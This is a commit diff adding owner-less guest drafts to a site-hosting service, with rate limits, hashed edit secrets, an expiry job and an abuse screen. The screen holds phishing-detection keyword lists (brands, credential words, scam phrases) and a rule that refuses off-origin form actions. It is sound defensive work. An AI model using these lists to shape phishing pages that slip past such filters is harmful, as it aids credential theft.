openvibers/openvibe.space Commits
Guest drafts and the claim: a site without an account (openvibe.website, plan 5.9) (#150)
Changes
@@@ -94,3 +94,13 @@ SPACE_STORAGE_DIR=./data/objects# VALKEY_URL=# VALKEY_PREFIX=ov:space:# API_CORS_ORIGINS=https://openvibe.network,https://openvibe.codes++++# Guest drafts (openvibe.website, plan 5.9): a visitor makes a draft on openvibe.space without an account and++# edits it with a secret link; a signed-in person claims it later. These limits are the abuse screen's first half.++#SPACE_GUEST_DRAFTS=on # off: no guest drafts at all++#SPACE_GUEST_DRAFTS_PER_IP_PER_DAY=3 # drafts one address may make a day++#SPACE_GUEST_AI_BUILDS_PER_IP_PER_DAY=2 # AI builds (and changes) one address may ask for a day++#SPACE_GUEST_AI_EDITS_PER_DRAFT=20 # AI changes one draft may have++#SPACE_GUEST_DRAFTS_PER_DAY=500 # drafts the whole service makes a day++#SPACE_GUEST_TTL_DAYS=7 # a draft lives this long after its last edit++#SPACE_GUEST_CLEANUP_INTERVAL_MS=3600000 # the job that removes the drafts whose time is up@@@ -2,6 +2,7 @@## Unreleased++- **Guest drafts** (openvibe.website, plan 5.9: "making websites and code without needing OpenVibe logins"): a visitor who is not signed in makes a draft on openvibe.space (`GET/POST /spaces/guest`) from a website template or a sentence, and edits it with a secret link (`/spaces/<id>/edit?key=…`; the cookie only remembers it, the link alone works). The draft has no owner and of the secret only its sha256 is kept. It is static: never published, no visitor's data, no server functions; in the preview the SDK answers "sign in to use this" where a visitor's account would be needed. A signed-in person who holds the secret claims it (`POST /spaces/<id>/claim`): it becomes theirs, the secret is cleared, and `space.app.claimed` is logged. The limits (per address, per draft, per service) and the seven-day expiry are in `server/hosting-config.js`; the abuse screen (`server/spaces/content-check.js`) refuses a phishing page and any form in a guest draft that posts to another origin.- Usage readings (plan T5 step 14, Space slice): `server/billing.js` turns the bytes the local object store keeps (`space_blobs`, each blob once per project) into one `platform.usage-sample@1` `gb-month` reading per production project and owner per closed UTC day, queued in `billing_readings` (migration `0006_billing_readings.sql`) and relayed to OpenVibe.Billing's `billing.usage.record`. Off unless `SPACE_BILLING_INTERVAL_MS` > 0; with `SPACE_OBJECT_STORE=media` Space emits none, because Media bills the stored bytes.- The forum moved back to OpenVibe.Community (owner decision, 2026-10-08), so Space keeps none of it. Removed: `server/forum/*`, `server/relay/*`, `server/vip/*`, `server/media/*`, `server/identity/*`, `server/{chat-rooms,votes,limits,actor-limits,events,events-consumer}.js`, `server/http/v1.js`, `server/render/{board,forum,markdown,jsonld,highlight}.js`, `public/js/space.js`, the forum suites and their fixtures, `docs/discord-relay.md` and the roadmap JSON.- Every forum URL answers a permanent redirect to the same path and query on https://openvibe.community: `/s` and `/s/*` by 301 for GET and HEAD and 308 otherwise (the method and body are preserved), and `/api/v1/spaces*`, `/api/v1/posts/*`, `/api/v1/space-groups*` and `/api/v1/relay*` by 308.@@@ -6,7 +6,7 @@"runtime": "node 22, express, PostgreSQL 18 (openvibe-sdk/db, async)","port": 4940,"domain": "openvibe.space",-- "contracts": "openvibe-contracts v0.263.1",++ "contracts": "openvibe-contracts v0.266.0","sdk": "openvibe-sdk v0.74.0","shared": "openvibe-shared v4.67.0","capabilities": [@@@ -111,6 +111,41 @@ Starting from the **Trivia** template gives a working example: its answers live5. The token is a day-long Bearer token for that space only, kept in the space's `sessionStorage`. Space stores onlyits hash, and `DELETE /api/v1/apps/:id/token` signs the visitor out.++## Guest drafts (openvibe.website, plan 5.9)++++A visitor who is **not signed in** can make a draft on openvibe.space. It has no owner and a random edit secret;++of the secret only its sha256 is kept (as OpenVibe.Design keeps `guest_hash` for its guest designs). The answer is++the secret link `/spaces/<id>/edit?key=…`; a cookie scoped to that one draft (host-only, HttpOnly, SameSite=Lax,++`Path=/spaces/<id>`) remembers it, and the link alone works too.++++- `GET /spaces/guest` — the start page: a website template, or a sentence for the AI.++- `POST /spaces/guest` — make the draft. The answer is a 303 to the secret edit link.++- `GET /spaces/<id>/edit?key=…` — the editor, exactly as for a maker: the files, the sandboxed preview, the AI.++- `POST /spaces/<id>/claim` — a signed-in person who holds the secret keeps the draft (`key` and the form token).++ The draft becomes theirs, with an address from its name, the secret is cleared, and it follows every rule a++ signed-in person's space does. The claim is logged as `space.app.claimed`.++++A guest draft is **static**: it is never published, it keeps no visitor's data (no lists, no private storage) and it++runs no server functions. In the preview the SDK answers "sign in to use this" where a visitor's account would be++needed, and `OV.me()` is nobody.++++The limits (the abuse screen's first half, `server/hosting-config.js`):++++| Limit | Default | Environment |++| --- | --- | --- |++| Drafts per address a day | 3 | `SPACE_GUEST_DRAFTS_PER_IP_PER_DAY` |++| AI builds per address a day | 2 | `SPACE_GUEST_AI_BUILDS_PER_IP_PER_DAY` |++| AI changes per draft | 20 | `SPACE_GUEST_AI_EDITS_PER_DRAFT` |++| Drafts the service makes a day | 500 | `SPACE_GUEST_DRAFTS_PER_DAY` |++| A draft lives after its last edit | 7 days | `SPACE_GUEST_TTL_DAYS` |++| The job that removes the drafts whose time is up | hourly | `SPACE_GUEST_CLEANUP_INTERVAL_MS` |++++`SPACE_GUEST_DRAFTS=off` turns the whole thing off. Every AI prompt and every AI answer passes the same abuse++screen (`server/spaces/content-check.js`): a brand name next to credential words, or one of the sentences a fake++login page uses, is refused; and **no form in a guest draft may post to another origin** (a relative action, or one++on the site's own address, is fine). The off-site form rule is a guest rule — an owner may post to their own payment++provider.++## LimitsThese are per person or per space, set in `server/hosting-config.js`:@@@ -134,5 +169,7 @@ These are per person or per space, set in `server/hosting-config.js`:| `server/spaces/functions.js`, `functions-worker.js` | Space functions: the worker pool, the `ov` calls and limits, and the QuickJS sandbox. || `server/spaces/ai.js` | The OpenVibe.AI client. || `server/spaces/templates.js` | The templates. |++| `server/spaces/guest.js`, `guest-cleanup.js` | The guest drafts: the secret, the expiry and the job. |++| `server/spaces/content-check.js` | The abuse screen: phishing and off-site form actions. || `public/js/space-editor.js`, `public/css/spaces.css` | The editor and the styles. |--| `test/spaces.test.js`, `test/space-functions.test.js` | The tests. |++| `test/spaces.test.js`, `test/spaces-guest.test.js`, `test/space-functions.test.js` | The tests. |nnew file mode 100644@@@ -0,0 +1,17 @@++-- phase: expand++-- Guest drafts (openvibe.website, plan 5.9: "making websites and code without needing OpenVibe logins"): a visitor++-- who is not signed in makes a draft on openvibe.space and edits it with a secret link; a signed-in person who++-- holds that link claims it later. The draft has no owner until it is claimed, so owner_subject becomes optional,++-- and the secret is kept only as a hash (as OpenVibe.Design keeps guest_hash for its guest designs).++--++-- Expand only: the columns are optional and the old code (which always writes an owner) keeps working. Nothing++-- here changes what an owned space does.++ALTER TABLE space_apps ALTER COLUMN owner_subject DROP NOT NULL;++ALTER TABLE space_apps ADD COLUMN guest_hash text COLLATE "C";++ALTER TABLE space_apps ADD COLUMN guest_ip text COLLATE "C";++ALTER TABLE space_apps ADD COLUMN guest_expires_at bigint;++++-- The cleanup job reads the drafts whose time is up (seven days after the last edit).++CREATE INDEX space_apps_guest_expiry ON space_apps (guest_expires_at) WHERE guest_hash IS NOT NULL;++-- The abuse screen counts what one address made today.++CREATE INDEX space_apps_guest_ip ON space_apps (guest_ip, created_at DESC) WHERE guest_hash IS NOT NULL;@@@ -15,7 +15,7 @@"express": "^4.21.2","express-rate-limit": "^7.5.0","helmet": "^8.1.0",-- "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.263.1",++ "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.266.0","openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.74.0","openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v4.67.0","pg": "^8.23.0",@@@ -1122,9 +1122,9 @@}},"node_modules/openvibe-contracts": {-- "version": "0.263.1",-- "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.263.1",-- "integrity": "sha512-xZZZdirJkdzdpgeaBGRnRgD/o7IoTb7udPHqurYOWEEB/AarE8gKO+2FZbYtGI66cWA9rgcwDbrptnCA7/8Oxw==",++ "version": "0.266.0",++ "resolved": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.266.0",++ "integrity": "sha512-7TACTogY3V6sBBd21f03hCcsK4ArKzFqiJDR9t+KBxTYZUfM5e5QGZuhbilZGKgpKSGQREIYrTnJ3Uqs3HiKIw==","license": "AGPL-3.0-only","dependencies": {"ajv": "^8.17.1",@@@ -27,7 +27,7 @@"express": "^4.21.2","express-rate-limit": "^7.5.0","helmet": "^8.1.0",-- "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.263.1",++ "openvibe-contracts": "https://codeload.github.com/OpenVibers/OpenVibe.Contracts/tar.gz/refs/tags/v0.266.0","openvibe-sdk": "https://codeload.github.com/OpenVibers/OpenVibe.SDK/tar.gz/refs/tags/v0.74.0","openvibe-shared": "https://codeload.github.com/OpenVibers/OpenVibe.Shared/tar.gz/refs/tags/v4.67.0","pg": "^8.23.0",@@@ -1,21 +1,27 @@/* The space editor (server/spaces/render.js editorPage): files in tabs (CodeMirror when it loaded, a textarea when not),a live preview in a sandboxed frame (an opaque origin: the space's code never touches openvibe.space), the preview'sSDK calls run through this page as the signed-in maker (POST /spaces/:slug/preview), AI changes (POST, then poll-- GET /spaces/:slug/ai), settings, publishing and deleting. Every call carries the form token in X-CSRF-Token. */++ GET /spaces/:slug/ai), settings, publishing and deleting. Every call carries the form token in X-CSRF-Token.++ A guest draft (openvibe.website) is edited the same way: its calls go to the draft's own address and carry the++ secret from the link (X-Space-Key); it has no Publish button. */(function () {'use strict';var boot = JSON.parse(document.getElementById('sp-boot').textContent);var space = boot.space;++ var guest = boot.guest || null;var files = boot.files.map(function (f) { return { path: f.path, content: f.content }; });var current = files.some(function (f) { return f.path === 'index.html'; }) ? 'index.html' : (files[0] && files[0].path);var dirty = false;var $ = function (id) { return document.getElementById(id); };var statusEl = $('ed-status'), frame = $('ed-frame'), tabs = $('ed-tabs'), area = $('ed-code');-- var base = '/spaces/' + encodeURIComponent(space.slug);++ var base = boot.base || ('/spaces/' + encodeURIComponent(space.slug));function status(text, kind) { statusEl.textContent = text || ''; statusEl.dataset.kind = kind || ''; }function call(method, path, body) {-- return fetch(base + path, { method: method, credentials: 'same-origin', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': boot.csrf }, body: body ? JSON.stringify(body) : undefined })++ // A guest draft is edited with its secret: the link's key rides along with every call.++ var headers = { 'Content-Type': 'application/json', 'X-CSRF-Token': boot.csrf };++ if (guest) headers['X-Space-Key'] = guest.key;++ return fetch(base + path, { method: method, credentials: 'same-origin', headers: headers, body: body ? JSON.stringify(body) : undefined }).then(function (r) { return r.json().catch(function () { return {}; }).then(function (j) {if (!r.ok) { var e = new Error((j.error && j.error.message) || ('Request failed (' + r.status + ')')); e.code = j.error && j.error.code; e.status = r.status; throw e; }return j;@@@ -185,9 +191,10 @@});// ── Publishing ──++ // A guest draft has no Publish button: it is static until a signed-in person keeps it.var publishBtn = $('ed-publish');-- function publishLabel() { publishBtn.lastChild.textContent = space.published ? ' Update' : ' Publish'; }-- publishBtn.addEventListener('click', function () {++ function publishLabel() { if (publishBtn) publishBtn.lastChild.textContent = space.published ? ' Update' : ' Publish'; }++ if (publishBtn) publishBtn.addEventListener('click', function () {var go = function () {status('Publishing…');return call('POST', '/publish').then(function (j) {@@@ -198,15 +205,16 @@};if (dirty) save().then(go, function () {}); else go();});-- $('ed-unpublish').addEventListener('click', function () {++ var unpublishBtn = $('ed-unpublish');++ if (unpublishBtn) unpublishBtn.addEventListener('click', function () {if (!confirm('Unpublish? Its address stops working until you publish again.')) return;call('POST', '/unpublish').then(function (j) { space = Object.assign(space, j.space); publishLabel(); dialog.close(); status('Unpublished'); }, function (e) { alert(e.message); });});$('ed-delete').addEventListener('click', function () {if (!confirm('Delete "' + space.name + '" for good? Its files, lists and everyone\'s saved data in it go too.')) return;-- call('POST', '/delete').then(function () { dirty = false; location.href = '/spaces/mine'; }, function (e) { alert(e.message); });++ call('POST', '/delete').then(function () { dirty = false; location.href = guest ? '/spaces/guest' : '/spaces/mine'; }, function (e) { alert(e.message); });});-- if (!boot.canPublish) publishBtn.title = 'Publishing at its own address opens with OpenVibe.Space\'s public hosting; the preview runs it now.';++ if (publishBtn && !boot.canPublish) publishBtn.title = 'Publishing at its own address opens with OpenVibe.Space\'s public hosting; the preview runs it now.';// Phone: the Preview / Code switch (desktop shows both side by side and hides it).var editorEl = $('sp-editor');@@@ -24,6 +24,21 @@ function checkCsrf(config, viewer, token) {return crypto.timingSafeEqual(Buffer.from(token), Buffer.from(expected));}++/**++ * A form token for something that is not a session: a guest draft, whose maker holds a secret link rather than++ * an account. It is an HMAC of the scope under the same secret as the session tokens, so a token is only ever++ * readable by someone who could read the page that carries it.++ */++function scopeToken(config, scope) {++ return crypto.createHmac('sha256', config.formSecret || fallback).update(`space-form-scope:${scope}`).digest('base64url').slice(0, 32);++}++++function checkScopeToken(config, scope, token) {++ const expected = scopeToken(config, scope);++ if (!expected || typeof token !== 'string' || token.length !== expected.length) return false;++ return crypto.timingSafeEqual(Buffer.from(token), Buffer.from(expected));++}++/** The request came from a dashboard page (not from a tenant page or another site). */function sameOrigin(config, req) {const expected = new URL(config.baseUrl).origin;@@@ -34,4 +49,4 @@ function sameOrigin(config, req) {try { return new URL(referer).origin === expected; } catch { return false; }}--module.exports = { csrfToken, checkCsrf, sameOrigin };++module.exports = { csrfToken, checkCsrf, scopeToken, checkScopeToken, sameOrigin };@@@ -7,6 +7,7 @@* space.deploy.activated a site's active deploy changed (payload.rollback marks a rollback)* space.deploy.failed an upload was refused (payload.code, problem codes; no file contents)* space.domain.verified a custom domain's TXT record was found; the domain is now served++ * space.app.claimed a guest draft was claimed by a signed-in person (it is theirs now)** The SDK writes each row inside the change's own transaction (emit joins the ambient openvibe-sdk/db* transaction), so an event exists if and only if its change committed. The relay publishes with@@@ -16,7 +17,7 @@*/const { createServiceOutbox } = require('openvibe-sdk/events');--const EVENT_TYPES = Object.freeze(['space.deploy.created', 'space.deploy.activated', 'space.deploy.failed', 'space.domain.verified']);++const EVENT_TYPES = Object.freeze(['space.deploy.created', 'space.deploy.activated', 'space.deploy.failed', 'space.domain.verified', 'space.app.claimed']);function createHostOutbox({ db, config, fetchImpl, now, log = console }) {return createServiceOutbox({@@@ -174,6 +174,19 @@ function load(env = process.env) {enabled: String(env.SPACE_AI || 'on').trim().toLowerCase() !== 'off',url: trim(env.OV_AI_INTERNAL_URL || env.OV_AI_URL || 'http://127.0.0.1:4700'),},++ // Guest drafts (openvibe.website, plan 5.9): a visitor who is not signed in makes a draft with a++ // secret edit link and claims it later. These limits are the abuse screen's first half: what one++ // address may make a day, what one draft may ask the AI, how many drafts the service makes a day,++ // and how long a draft lives after its last edit (a job removes it).++ guest: {++ enabled: String(env.SPACE_GUEST_DRAFTS || 'on').trim().toLowerCase() !== 'off',++ draftsPerIpPerDay: int(env.SPACE_GUEST_DRAFTS_PER_IP_PER_DAY, 3),++ aiBuildsPerIpPerDay: int(env.SPACE_GUEST_AI_BUILDS_PER_IP_PER_DAY, 2),++ aiEditsPerDraft: int(env.SPACE_GUEST_AI_EDITS_PER_DRAFT, 20),++ draftsPerDay: int(env.SPACE_GUEST_DRAFTS_PER_DAY, 500),++ ttlDays: int(env.SPACE_GUEST_TTL_DAYS, 7),++ cleanupIntervalMs: int(env.SPACE_GUEST_CLEANUP_INTERVAL_MS, 60 * 60 * 1000),++ },},worker: {@@@ -65,10 +65,12 @@ function createHosting(app, { db, auth, config: suppliedConfig, now, resolver, fapp.locals.ctx = ctx;// Spaces (server/spaces/): apps people make here and publish as sites of their Spaces project.-- ctx.spaces = require('./spaces/spaces').createSpaces({ store, config, projects, sites, deploys, takedowns, log });++ ctx.spaces = require('./spaces/spaces').createSpaces({ store, config, projects, sites, deploys, takedowns, outbox, log });ctx.spacesAi = require('./spaces/ai').createSpacesAi({ config, client: spacesAiClient, log });ctx.spaceData = require('./spaces/data').createSpaceData({ store, config, spaces: ctx.spaces, ai: ctx.spacesAi });ctx.spaceFunctions = require('./spaces/functions').createSpaceFunctions({ data: ctx.spaceData, workers: config.spaces.fnWorkers, log });++ // Guest drafts (openvibe.website, plan 5.9): the job that removes the drafts whose week is up.++ ctx.guestCleanup = require('./spaces/guest-cleanup').createGuestCleanup({ store, config, log });{const { sdkSource } = require('./spaces/sdk');const bySite = new Map();@@@ -28,6 +28,7 @@ const { createPgTelemetrySink, startTelemetryRetention } = require('openvibe-sdkapp.locals.hosting.worker.start();app.locals.hosting.outbox.start();app.locals.hosting.billing.start(); // off unless SPACE_BILLING_INTERVAL_MS > 0++ app.locals.hosting.guestCleanup.start(); // the guest drafts whose week is up (off with SPACE_GUEST_DRAFTS=off)// The two account subscriptions at OpenVibe.Events (ADR-033), created when missing; off without EVENTS_URL,// SPACE_EVENTS_SECRET or the client secret.const hc = app.locals.hosting.config;@@@ -45,7 +46,7 @@ const { createPgTelemetrySink, startTelemetryRetention } = require('openvibe-sdkgracefulStop({name: 'Space', server,drainMs: 4000, deadlineMs: 5000, deadlineExitCode: 1,-- stop: [async () => { if (subscriptions) subscriptions.stop(); app.locals.hosting.worker.stop(); await app.locals.hosting.outbox.stop(); await app.locals.hosting.billing.stop(); }],++ stop: [async () => { if (subscriptions) subscriptions.stop(); app.locals.hosting.worker.stop(); app.locals.hosting.guestCleanup.stop(); await app.locals.hosting.outbox.stop(); await app.locals.hosting.billing.stop(); }],close: [async () => { if (telemetryRetention) await telemetryRetention.stop(); await telemetry.stop(); },async () => {@@@ -4,7 +4,8 @@** build(person, { prompt, name, current }) space.app.build, the AI builder: starts a run on behalf of the person* building and answers its id (a whole app takes longer than one request-- * may wait, so the editor polls result(id)).++ * may wait, so the editor polls result(id)). A guest draft has no++ * person: its run is Space's own (person is null).* result(runId) { status: 'running' | 'succeeded' | 'failed', output, error }* ask(space, person, { transcript, message }) space.app.ask, a space's own AI, on behalf of the visitor: the text.*@@@ -32,13 +33,17 @@ function createSpacesAi({ config, client: injected = null, log = console }) {const unavailable = () => new ApiError(503, 'space.ai_unavailable', 'OpenVibe AI is not available here right now');const subjectRef = (person) => ({ type: 'user', id: person.subject });++ /**++ * The AI builder. `person` is the signed-in maker the run acts for; a guest draft has none, so its run is++ * Space's own (server/spaces/pages.js, the guest drafts of openvibe.website).++ */async function build(person, { prompt, name, current, spaceId }) {if (!enabled()) throw unavailable();const input = { prompt: String(prompt || '').slice(0, 4000), ...(name ? { name: String(name).slice(0, 40) } : {}), ...(current && current.length ? { current } : {}) };let body;try {body = await client().runs.create('space.app.build', input, {-- wait: 0, onBehalfOf: subjectRef(person),++ wait: 0, ...(person ? { onBehalfOf: subjectRef(person) } : {}),...(spaceId ? { attribution: { service: 'space', type: 'space', id: spaceId } } : {}),});} catch (err) {nnew file mode 100644@@@ -0,0 +1,125 @@++'use strict';++/**++ * The abuse screen for what a space may say and do (openvibe.website, plan 5.9: "publishing to a preview++ * address after an automatic abuse screen"). Today it is the first half, on the guest drafts:++ *++ * 1. Obvious phishing: a brand name next to credential words ("Sign in to your Google account", "verify your++ * PayPal password"), or one of the sentences a fake login page uses. A brand is required, so a page that++ * merely talks about passwords ("how to choose a password") is not caught.++ * 2. Off-site form actions: a <form action="..."> that posts to another origin. A guest draft is static and++ * is published nowhere, so a form that leaves the site can only be collecting someone's details for++ * someone else. A form without an action, or with one on the site's own address, is fine.++ *++ * The same checks run on what the guest asks the AI and on what the AI answers, so a phishing page cannot be++ * laundered through the builder. The denylist runs for a signed-in maker too; the off-site form rule is a++ * guest rule (an owner may post to their own payment provider).++ */++const { ApiError } = require('../http/errors');++++/** The names a fake login page borrows. */++const BRANDS = [++ 'google', 'apple', 'microsoft', 'amazon', 'paypal', 'netflix', 'facebook', 'instagram', 'whatsapp',++ 'telegram', 'discord', 'steam', 'roblox', 'binance', 'coinbase', 'metamask', 'ledger', 'twitter',++ 'linkedin', 'dropbox', 'spotify', 'dhl', 'fedex', 'ups', 'usps', 'chase', 'wells fargo', 'barclays',++ 'santander', 'revolut', 'wise', 'coinbase', 'postepayte', 'free mobile', 'orange',++];++++/** The words that ask for a secret. */++const CREDENTIALS = [++ 'log in', 'login', 'log-in', 'sign in', 'signin', 'sign-in', 'password', 'passcode', 'credential',++ 'username', 'user name', 'one-time code', 'otp', '2fa', 'two-factor', 'verify your', 'verification code',++ 'recover your', 'reset your', 'security code', 'card number', 'cvv', 'seed phrase', 'recovery phrase',++ 'private key', 'wallet',++];++++/** The sentences a fake page writes. */++const PHRASES = [++ 'your account has been suspended', 'your account is suspended', 'account has been suspended',++ 'verify your identity', 'unusual activity on your account', 'security alert',++ 'you have won', 'claim your prize', 'claim your reward', 'double your', 'urgent action required',++ 'wire transfer', 'bitcoin giveaway', 'limited time offer', 'your package could not be delivered',++ 'your account will be closed', 'suspended pending verification',++];++++/** How close a credential word has to be to a brand name to count (characters). */++const NEAR = 120;++++/**++ * Why the text reads like a scam, or null when it does not.++ * A brand and a credential word near each other, or one of the scam sentences.++ */++function phishingReason(text) {++ const s = String(text || '').toLowerCase();++ if (!s) return null;++ for (const phrase of PHRASES) if (s.includes(phrase)) return `it reads like a scam ("${phrase}")`;++ for (const brand of BRANDS) {++ let at = s.indexOf(brand);++ while (at !== -1) {++ const near = s.slice(Math.max(0, at - NEAR), at + brand.length + NEAR);++ for (const word of CREDENTIALS) {++ if (near.includes(word)) return `it asks for a password next to the name "${brand}"`;++ }++ at = s.indexOf(brand, at + brand.length);++ }++ }++ return null;++}++++/** The <form> tags of a file. */++const FORM_RE = /<form\b[^>]*>/gi;++const ACTION_RE = /\baction\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'=<>`]+))/i;++++/**++ * Why a file's form posts to another origin, or null when it does not.++ * sitesDomain: the domain the space's own address is on (<slug>.openvibe.website).++ */++function offsiteFormReason(content, { sitesDomain = '' } = {}) {++ const text = String(content || '');++ for (const m of text.matchAll(FORM_RE)) {++ const tag = m[0];++ const a = ACTION_RE.exec(tag);++ if (!a) continue; // no action: the form posts to its own address++ const raw = String(a[1] !== undefined ? a[1] : a[2] !== undefined ? a[2] : a[3] || '').trim();++ if (!raw || raw.startsWith('#')) continue; // empty or a fragment: the same page++ if (/^[a-z][a-z0-9+.-]*:/i.test(raw) && !/^https?:/i.test(raw)) return `the form posts to "${raw}", which is not an address a site can post to`;++ if (raw.startsWith('//')) return `the form posts to "${raw}", another origin`;++ if (!/^https?:/i.test(raw)) continue; // relative: the site's own address++ let host = '';++ try { host = new URL(raw).hostname.toLowerCase(); } catch { return `the form action "${raw}" is not an address`; }++ if (!host) continue;++ const own = String(sitesDomain || '').toLowerCase();++ if (own && (host === own || host.endsWith(`.${own}`))) continue; // the site's own address++ return `the form posts to ${host}, another origin`;++ }++ return null;++}++++/**++ * The reason a set of files is refused, or null.++ * forms: true checks the off-site form rule too — that one is a guest rule (an owner may post to their own++ * payment provider; a guest draft is published nowhere and may only post to its own address).++ */++function filesReason(files, { sitesDomain = '', forms = false } = {}) {++ for (const f of Array.isArray(files) ? files : []) {++ const content = String((f && f.content) || '');++ const scam = phishingReason(content);++ if (scam) return { code: 'space.guest_abuse', message: `“${f.path}” ${scam}; a space may not ask for someone's password` };++ if (!forms) continue;++ const form = offsiteFormReason(content, { sitesDomain });++ if (form) return { code: 'space.guest_offsite_form', message: `“${f.path}”: ${form}; a guest draft's forms may only post to its own address` };++ }++ return null;++}++++/** The reason a prompt is refused, or null. */++function promptReason(prompt) {++ const scam = phishingReason(prompt);++ return scam ? { code: 'space.guest_abuse', message: `this request ${scam}; a space may not ask for someone's password` } : null;++}++++/** Refuse with the reason (an ApiError), or return quietly. */++function refuse(reason) {++ if (reason) throw new ApiError(422, reason.code, reason.message);++}++++module.exports = { phishingReason, offsiteFormReason, filesReason, promptReason, refuse, BRANDS, CREDENTIALS, PHRASES };nnew file mode 100644@@@ -0,0 +1,55 @@++'use strict';++/**++ * The job that removes the guest drafts whose time is up (openvibe.website, plan 5.9).++ *++ * A guest draft lives seven days after its last edit (the editor's saves and AI changes push the time up).++ * When it is up the draft is gone: the space row, its files and everything a visitor ever put in it go with it++ * (the tables cascade). Nothing of a guest's is kept after a week.++ *++ * The job runs on a timer (SPACE_GUEST_CLEANUP_INTERVAL_MS, an hour by default) and once when it starts. It is++ * off with SPACE_GUEST_DRAFTS=off or SPACE_GUEST_CLEANUP_INTERVAL_MS=0, so a drill or a test can leave it alone.++ */++function createGuestCleanup({ store, config, log = console }) {++ const limits = config.spaces.guest;++ let timer = null;++ let running = false;++++ const q = {++ expired: store.db.prepare('SELECT id FROM space_apps WHERE guest_hash IS NOT NULL AND guest_expires_at IS NOT NULL AND guest_expires_at < ? LIMIT ?'),++ remove: store.db.prepare('DELETE FROM space_apps WHERE id = ? AND guest_hash IS NOT NULL AND guest_expires_at IS NOT NULL AND guest_expires_at < ?'),++ };++++ /** The drafts that are up: removed, and how many. */++ async function run() {++ if (running) return 0;++ running = true;++ try {++ const now = store.now();++ const rows = await q.expired.all(now, 500);++ let n = 0;++ for (const row of rows) {++ const r = await q.remove.run(row.id, now);++ n += Number((r && r.changes) || 0);++ }++ if (n) (log.info || log.log || log.warn)(`[Spaces] ${n} expired guest draft${n === 1 ? '' : 's'} removed`);++ return n;++ } catch (err) {++ log.warn(`[Spaces] guest draft cleanup: ${err && err.message}`);++ return 0;++ } finally { running = false; }++ }++++ return {++ run,++ start() {++ if (!limits.enabled || limits.cleanupIntervalMs <= 0) return;++ if (timer) return;++ timer = setInterval(() => { run(); }, limits.cleanupIntervalMs);++ if (timer.unref) timer.unref();++ run();++ },++ stop() { if (timer) clearInterval(timer); timer = null; },++ };++}++++module.exports = { createGuestCleanup };nnew file mode 100644@@@ -0,0 +1,37 @@++'use strict';++/**++ * Guest drafts (openvibe.website, plan 5.9: "making websites and code without needing OpenVibe logins";++ * the owner, 2026-10-28: "serious sites, no login needed").++ *++ * A visitor who is not signed in makes a draft on openvibe.space. The draft has no owner and a random edit++ * secret; of the secret only its sha256 is kept (as OpenVibe.Design keeps guest_hash for its guest designs,++ * server/designs.js). The secret opens /spaces/<id>/edit?key=..., and a signed-in person who holds it can claim++ * the draft: it becomes theirs, the secret is cleared, and it follows every rule a signed-in person's space does.++ *++ * A guest draft is static: no publishing, no data or kv for a visitor, no server functions. What it may do is++ * build, edit and preview. The limits are the abuse screen's first half (per address a few drafts and AI builds++ * a day, per draft a few AI edits, a service-wide cap on the drafts a day) and the drafts expire seven days++ * after their last edit, which a job cleans up.++ */++const crypto = require('crypto');++++/** A new edit secret: 24 random bytes, base64url (32 characters). */++function newKey() { return crypto.randomBytes(24).toString('base64url'); }++++/** The secret's hash, hex. This is all that is ever stored. */++function keyHash(key) { return crypto.createHash('sha256').update(String(key)).digest('hex'); }++++/**++ * Constant-time: the stored hash and the hash of the key that was offered are compared with++ * crypto.timingSafeEqual, so the answer never depends on how much of the secret was right.++ */++function keyMatches(hash, key) {++ if (typeof hash !== 'string' || !/^[0-9a-f]{64}$/.test(hash)) return false;++ if (typeof key !== 'string' || !key) return false;++ const stored = Buffer.from(hash, 'hex');++ const given = Buffer.from(keyHash(key), 'hex');++ if (stored.length !== given.length) return false;++ return crypto.timingSafeEqual(stored, given);++}++++module.exports = { newKey, keyHash, keyMatches };@@@ -11,16 +11,28 @@* GET /spaces/:slug/connect · POST the sign-in a visitor approves for a published space; back to the space with a code* GET /_openvibe/sdk.js the SDK in preview mode (the editor's sandboxed frame loads it from here)*++ * Guest drafts (openvibe.website, plan 5.9: "making websites and code without needing OpenVibe logins"):++ *++ * GET /spaces/guest the start page: a website template, or a sentence for the AI++ * POST /spaces/guest make a draft; the answer is the secret edit link++ * GET /spaces/:id/edit the editor of a guest draft (?key=…, or the cookie that remembers it)++ * POST /spaces/:id/claim a signed-in person who holds the key keeps the draft++ ** The editor's JSON calls (same origin, the form token in X-CSRF-Token):* PUT /spaces/:slug/files · PUT /spaces/:slug/settings · POST /spaces/:slug/ai · GET /spaces/:slug/ai* POST /spaces/:slug/publish · POST /spaces/:slug/unpublish · POST /spaces/:slug/delete* POST /spaces/:slug/preview { op, args }: an SDK call from the preview, run as the maker++ *++ * A guest draft is edited with the same calls: the secret opens them, and the form token is one made for the++ * draft (server/auth/forms.js, scopeToken). A guest never publishes, never keeps a visitor's data and never++ * runs server functions.*/const express = require('express');const { ApiError } = require('../http/errors');--const { csrfToken, checkCsrf, sameOrigin } = require('../auth/forms');++const { csrfToken, checkCsrf, scopeToken, checkScopeToken, sameOrigin } = require('../auth/forms');const templates = require('./templates');const render = require('./render');++const contentCheck = require('./content-check');const { sdkSource } = require('./sdk');const BUILD_STALE = 10 * 60 * 1000;@@@ -84,12 +96,48 @@ function createSpacesPages(ctx) {if (!sameOrigin(config, req) || !checkCsrf(config, req.viewer, req.body && req.body.csrf)) throw new ApiError(403, 'form.invalid', 'this form expired or did not come from this site; reload the page and try again');await fn(req, res);})];++ /**++ * A guest's form POST: no session, but it must come from this site (the Origin), so a page elsewhere++ * cannot make drafts here.++ */++ const guestAction = (fn) => [urlencoded, view(async (req, res) => {++ if (!sameOrigin(config, req)) throw new ApiError(403, 'form.invalid', 'this form did not come from this site; reload the page and try again');++ await fn(req, res);++ })];++ /**++ * Who is editing this space: its maker (signed in, own space) or a guest holding the draft's secret.++ * The parameter is a space id (a guest draft) or a slug (an owned space).++ * Throws 404 when there is no such space (or a guest draft whose week is up), 403 when the secret is wrong.++ */++ async function 